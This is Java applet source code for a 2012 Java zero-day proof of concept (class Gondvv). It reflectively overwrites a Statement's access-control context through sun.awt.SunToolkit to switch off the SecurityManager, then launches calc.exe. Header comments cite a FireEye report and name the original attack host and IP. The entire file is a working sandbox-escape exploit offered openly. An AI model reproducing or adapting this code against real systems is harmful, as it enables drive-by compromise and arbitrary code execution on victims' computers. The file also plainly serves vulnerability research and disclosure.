1. //
  2. // CVE-2012-XXXX Java 0day
  3. //
  4. // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
  5. //
  6. // secret host / ip : ok.aa24.net / 59.120.154.62
  7. //
  8. // regurgitated by jduck
  9. //
  10. // probably a metasploit module soon...
  11. //
  12. package cve2012xxxx;
  13. import java.applet.Applet;
  14. import java.awt.Graphics;
  15. import java.beans.Expression;
  16. import java.beans.Statement;
  17. import java.lang.reflect.Field;
  18. import java.net.URL;
  19. import java.security.*;
  20. import java.security.cert.Certificate;
  21. public class Gondvv extends Applet
  22. {
  23. public Gondvv()
  24. {
  25. }
  26. public void disableSecurity()
  27. throws Throwable
  28. {
  29. Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
  30. Permissions localPermissions = new Permissions();
  31. localPermissions.add(new AllPermission());
  32. ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
  33. AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
  34. localProtectionDomain
  35. });
  36. SetField(Statement.class, "acc", localStatement, localAccessControlContext);
  37. localStatement.execute();
  38. }
  39. private Class GetClass(String paramString)
  40. throws Throwable
  41. {
  42. Object arrayOfObject[] = new Object[1];
  43. arrayOfObject[0] = paramString;
  44. Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
  45. localExpression.execute();
  46. return (Class)localExpression.getValue();
  47. }
  48. private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
  49. throws Throwable
  50. {
  51. Object arrayOfObject[] = new Object[2];
  52. arrayOfObject[0] = paramClass;
  53. arrayOfObject[1] = paramString;
  54. Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
  55. localExpression.execute();
  56. ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
  57. }
  58. public void init()
  59. {
  60. try
  61. {
  62. disableSecurity();
  63. Process localProcess = null;
  64. localProcess = Runtime.getRuntime().exec("calc.exe");
  65. if(localProcess != null);
  66. localProcess.waitFor();
  67. }
  68. catch(Throwable localThrowable)
  69. {
  70. localThrowable.printStackTrace();
  71. }
  72. }
  73. public void paint(Graphics paramGraphics)
  74. {
  75. paramGraphics.drawString("Loading", 50, 25);
  76. }
  77. }